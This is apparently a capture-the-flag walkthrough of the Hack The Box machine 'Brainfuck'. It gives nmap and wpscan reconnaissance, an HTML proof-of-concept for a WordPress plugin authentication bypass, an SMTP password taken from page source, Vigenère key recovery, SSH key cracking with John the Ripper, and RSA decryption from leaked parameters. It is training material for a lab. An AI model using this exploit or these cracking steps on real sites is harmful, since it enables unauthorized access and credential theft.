
Reconnaissance
First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.
target="10.10.10.17"
ports=$(sudo nmap -p- --min-rate=1000 -T4 $target | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
sudo nmap -p$ports -sC -sV $target -vvvPORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
25/tcp open smtp syn-ack ttl 63 Postfix smtpd
110/tcp open pop3 syn-ack ttl 63 Dovecot pop3d
143/tcp open imap syn-ack ttl 63 Dovecot imapd
443/tcp open ssl/http syn-ack ttl 63 nginx 1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
We get back the following result showing that five ports are open:
- Port 22: running
OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 - Port 25: running
Postfix smtpd - Port 110: running
Dovecot pop3d - Ports 143: running
Dovecot imapd - Ports 443: running
nginx 1.10.0
Before we move on to enumeration, let’s make a few mental notes about the nmap scan results.
- Port 443 is running HTTPS. The index page gives us the title “Welcome to nginx!”. This is likely a configuration issue where the IP address doesn’t know what hostname it should map to in order to serve a specific site and so instead it’s serving the nginx default page. From the nmap scan, we get three possible hostnames: brainfuck.htb, www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb.
- Ports 25, 143 and 110 are running mail protocols. We might need to find a valid email address to further enumerate these services.
Enumeration
Add the following hostnames to the /etc/hosts file on your attack machine.
# HTB
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htbFirst, let’s visit the site brainfuck.htb. After adding a security exception, we get the following page.

We can notice that this is a WordPress site.

Next, let’s run the WordPress vulnerability scanner on the site.
wpscan --url https://brainfuck.htb --disable-tls-checks --api-token <OMISSIS>The following is a summary of the results found by the wpscan.
- The WordPress version identified is 4.7.3.
- The identified version of WordPress contains 85 vulnerabilities.
- The
WP Support Plus Responsive Ticket Systemplugin is installed. - The identified version of WP Support Plus Responsive Ticket System plugin contains 4 vulnerabilities.
Out of all the vulnerabilities identified, one particular vulnerability does stand out: a privilege escalation authentication bypass. We can find a description and an exploit in exploitdb. From the description, we can understand that this vulnerability will allow us to bypass authentication by logging in as anyone without knowing the password. We do however need a valid username for the attack to work.
Therefore, let’s use wpscan to enumerate usernames.
wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u
Both “admin” and “administrator” are valid usernames. Now that we have a valid username, let’s attempt to exploit the vulnerability.
Exploitation
Copy the POC code from the vulnerability entry on searchsploit and save it in the file exploit.html. Change the URL to the name of the machine.
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>Run it in the browser and login as administrator.

Now, according to the instructions of the PoC on exploitdb we can refresh the brainfuck.htb page and we’re logged in as administrator!

There doesn’t seem to be much functionality available for this user. Therefore, let’s try the ‘admin’ user next. Perform the same exploit again except with the username being ‘admin’.
On the top right corner go to the profile page for admin. Then, click on Plugins > Installed Plugins and finally go to the settings for the Easy WP SMTP plugin. There, we find the SMTP configuration settings with the SMTP username and SMTP masked password.


Right click on the password field and view page source.

The user’s password is kHGuERB29DNiNE. Let’s use the mail client Evolution to log into orestis’s email.
Open up the Evolution mail client. Click on File > New > Mail Account. Enter orestis@brainfuck.htb in the Email Address field, brainfuck.htb as the Server, 143 as the Port and orestis as the Username.
Now we can see orestis’s mail!

The Form Access Details email gives us another set of credentials.

Remember that in the enumeration phase, we had three hostnames that we added to our hosts file. Since the email mentions a “secret” forum, let’s check out the sup3rs3cr3t.brainfuck.htb website.
On the website, when you click on Log In, you’re presented with a login page. Enter our newly found credentials there.

Based on the comments made there, orestis seems to have lost his SSH key and wants the admin to send it to him on an encrypted thread. One other thing we notice is that orestis always signs his message with the “Orestis — Hacking for fun and profit” phrase.

The encrypted thread orestis is referencing is the Key thread.

There, you’ll notice that orestis’s comments are signed with the same message we saw above except the message is in encrypted form. However, with each comment, the generated cipher text for the phrase is different. After a bunch of trials, we can notice that it is not a Caesar cipher.
Therefore, the admin might be using the Vigenère cipher. Since we do have the plaintext and its corresponding cipher text, we can deduce the key since this cipher is vulnerable to a known plaintext attack.
plaintext = "OrestisHackingforfunandprofit"
ciphertext = "PieagnmJkoijegnbwzwxmlegrwsnn"
key = ""
for i in range(len(plaintext)):
num_key = ((ord(ciphertext[i]) - ord(plaintext[i])) % 26) + 97
char_key = chr(num_key)
key = key + char_key
print keyThe result:
brainfuckmybrainfuckmybrainfuThe key is fuckmybrain. Now, we can use it to decrypt the admin’s statement, which gives us:
There you go you stupid fuck, I hope you remember your key password because I dont
https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsaWe’re one step closer! We have a link to the RSA private key that seems to be encrypted. Download and crack it with JtR.
ssh2john id_rsa > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hashWe get back the following result.

SSH into the machine with the cracked passphrase.
chmod 600 id_rsa
ssh -i id_rsa orestis@brainfuck.htbWe gained an initial foothold!

Privilege Escalation
List the files in orestis’s home directory.
orestis@brainfuck:~$ ls -all
...
-rw------- orestis 619 Apr 29 2017 debug.txt
-rw-rw-r-- orestis 580 Apr 29 2017 encrypt.sage
-rw------- orestis 329 Apr 29 2017 output.txt
-r-------- orestis 33 Apr 29 2017 user.txtView the content of encrypt.sage. It seems to be performing RSA encryption: it opens the root.txt file and uses its value as a parameter in the encryption. The encrypted password is written in the output.txt file. It also logs parameters p, q and e in the debug.txt file.
Parameters p, q and e are logged in the debug file which we have read/write access to. Since we have both p and q, we can calculate n=p*q, phi=(p-1)(q-1). We also have c since it’s written in the output.txt file. So we can calculate m from the equation c = pow(m,e,n).
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y
def main():
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
n = p * q
phi = (p - 1) * (q - 1)
gcd, a, b = egcd(e, phi)
d = a
pt = pow(ct, d, n)
print("pt: " + str(pt))
if __name__ == "__main__":
main()Running this script, we get the plaintext value. We simply just need to reverse the behavior of int(password.encode('hex'),16).
>>> pt = 24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> hex_str = hex(pt)[2:]
>>> password = bytearray.fromhex(hex_str).decode()
>>> print(password)
OMISSIS